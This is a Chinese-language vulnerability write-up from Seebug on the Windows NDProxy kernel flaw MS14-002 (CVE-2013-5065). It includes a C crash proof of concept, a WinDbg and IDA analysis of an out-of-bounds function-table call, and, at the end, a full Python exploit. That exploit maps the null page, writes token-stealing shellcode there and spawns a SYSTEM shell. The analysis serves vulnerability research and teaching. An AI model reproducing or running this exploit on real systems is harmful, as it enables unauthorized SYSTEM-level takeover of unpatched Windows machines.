Lucene search

K
seebugRootSSV:83482
HistoryJul 01, 2014 - 12:00 a.m.

Windows NDPROXY - 本地权限提升漏洞(MS14-002)

2014-07-0100:00:00
Root
www.seebug.org
96

0.001 Low

EPSS

Percentile

21.8%

漏洞成因

这是一个windows内核漏洞,漏洞的触发需要开启Routing and Remote Access服务,影响 windowsxp,windows2003.

先上 poc

#include <windows.h>
#include <stdio.h>
int main()
{
    HANDLE hDev = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    if(hDev==INVALID_HANDLE_VALUE)
    {
        printf("CreateFile Error:%d\n",GetLastError());
    }
    DWORD InBuf[0x15] = {0};
    DWORD dwRetBytes  = 0;
    *(InBuf+5) = 0x7030125;
    *(InBuf+7) = 0x34;
    
    DeviceIoControl(hDev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, &dwRetBytes, 0);
    CloseHandle(hDev);
    
    return 0;
}

注意:这个POC是运行的结果是蓝屏,请在虚拟机下运行!

在XP下编译好POC代码,然后运行编译出来的EXE,双机调试,断在windbg,提示

Access violation - code c0000005 (!!! second chance !!!)
00000038 jQuery21405265350940171629_1451585769819              ???

当前EIP执行到了0x38这个内核地址。

栈回溯,看看出错前都调了什么函数

kd> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
b235dc14 f87bd145 822e6dc8 82117ef8 8227b410 0x38
b235dc34 804ef189 8227b2b8 000001b0 806d42d0 NDProxy!PxIODispatch+0x2b3

提示现在的栈有可能已经不正确了,看到前一个正常调用的函数是NDProxy!PxIODispatch+0x2b3

用IDA加载ndproxy.sys模块(Xp下的路径为 C:\WINDOWS\system32\drivers\ndproxy.sys),去这个函数看看

这是一个函数地址表,起始地址00018188,

结束地址0001832C

那么这个表的大小就是0x1a4

重启虚拟机,在call off_18188[eax]处下断,查看此时eax的值

kd> r  eax
eax=000001b0

那么是call到18188+1b0 = 18338h,已经超过了表的大小,根据图3,可以看到这个地址是0x38,会出现第一步的crash到0x38。所以说这里的问题是数组指针越界了。


进一步分析eax怎么来的

先看这个API

BOOL
	WINAPI
	DeviceIoControl(
	__in        HANDLE hDevice,							//设备句柄
	__in        DWORD dwIoControlCode,					//设备操作控制码
	__in_bcount_opt(nInBufferSize) LPVOID lpInBuffer,	//设备请求数据的buffer,inbuffer
__in        DWORD nInBufferSize,					    //inbuffer大小
	__out_bcount_part_opt(nOutBufferSize, *lpBytesReturned) LPVOID lpOutBuffer,	        //OutBuffer
	__in        DWORD nOutBufferSize,       //OutBuffer大小
	__out_opt   LPDWORD lpBytesReturned,	//实际返回到OutBuffer
	__inout_opt LPOVERLAPPED lpOverlapped
	);

IDA里看到PxIODispatch函数先会比较IO控制码(DeviceIoControl函数中的参数2)

单步来到

动态调试查看此时edi被赋值后的值

NDProxy!PxIODispatch+0x1ea:
f87bd07c 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
kd> r edi 
edi=00000054

是inbufferSize(DeviceIoControl函数中的参数4),和edx=0x24比较

单步来到

查看ecx的值

kd> r ecx
ecx=00000024

是outbufferSize(DeviceIoControl函数中的参数6),和edx=0x24比较

单步到

f87bd092 8b4614          mov     eax,dword ptr [esi+14h]
f87bd095 2d01010307      sub     eax,7030101h
f87bd09a 3bc2            cmp     eax,edx
f87bd09c 8955fc          mov     dword ptr [ebp-4],edx
f87bd09f 760c            jbe     NDProxy!PxIODispatch+0x21b (f87bd0ad)

这里是漏洞形成的关键,查看此时esi指向的内存

kd> dd esi
82046c28  00000000 00000000 00000000 00000000
82046c38  00000000 07030125 00000000 00000034
82046c48  00000000 00000000 00000000 00000000

看到07030125这个值是DeviceIoControl函数中的参数2,正好是esi+14h。把这个值给了eax,,做减法跳走

然后eax=eax3;eax=eax4;相当于 eax = eax *12,并且暂存。

接下来

在蓝色箭头的部分,恢复eax的值,直接作为函数表的索引,进行调用。

那么我们按上面的流程计算:

>>> hex((0x07030125 - 0x7030101)*12)
'0x1b0'

刚好是crash时,eax的值。

漏洞形成的原因就是把程序的输入buffer中的数,计算后的值当作函数指针操作,产生了bug。


进一步利用

因为是在xp下是有办法在ring3写kernel的地址的,所以这个poc可以进一步修改,做利用。

利用的思路是在地址0x38处写一句,push shellcode地址,然后ret,就能到执行到shellcode了。代码有点长,就不贴了,打包了代码和编译好的exp在压缩包里(请在虚拟机 xp下使用,可以提权到system权限获得shell)。


                                                # NDPROXY Local SYSTEM privilege escalation
# http://www.offensive-security.com
# Tested on Windows XP SP3
# http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/


# Original crash ... null pointer dereference
# Access violation - code c0000005 (!!! second chance !!!)
# 00000038 ??              ???

from ctypes import *
from ctypes.wintypes import *
import os, sys

kernel32 = windll.kernel32
ntdll = windll.ntdll

GENERIC_READ     = 0x80000000
GENERIC_WRITE    = 0x40000000
FILE_SHARE_READ  = 0x00000001
FILE_SHARE_WRITE = 0x00000002
NULL = 0x0
OPEN_EXISTING = 0x3
PROCESS_VM_WRITE            = 0x0020
PROCESS_VM_READ             = 0x0010
MEM_COMMIT                  = 0x00001000
MEM_RESERVE                 = 0x00002000
MEM_FREE                    = 0x00010000
PAGE_EXECUTE_READWRITE      = 0x00000040
PROCESS_ALL_ACCESS          = 2097151
FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000
baseadd = c_int(0x00000001)
MEMRES = (0x1000 | 0x2000)
MEM_DECOMMIT = 0x4000
PAGEEXE = 0x00000040
null_size = c_int(0x1000)
STATUS_SUCCESS = 0

def log(msg):
    print msg

def getLastError():
    """[-] Format GetLastError"""
    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
            kernel32.GetLastError(), 0,
            buf, sizeof(buf), NULL):
        log(buf.value)
    else:
        log("[-] Unknown Error")

print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day"
print "[*] Vulnerability found in the wild"
print "[*] Coded by Offensive Security"       
        
tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24)
InBuf = c_char_p(tmp)

dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE)
if dwStatus != STATUS_SUCCESS:
    print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus
    getLastError()
written = c_ulong()
sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh))
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written))
if alloc == 0:
    print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc
    getLastError()

dwRetBytes = DWORD(0)
DEVICE_NAME   = "\\\\.\\NDProxy"
hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None)
if hdev == -1:
	print "[-] Couldn't open the device... :("
	sys.exit()
kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0)
kernel32.CloseHandle(hdev)
print "[+] Spawning SYSTEM Shell..."
os.system("start /d \"C:\\windows\\system32\" cmd.exe")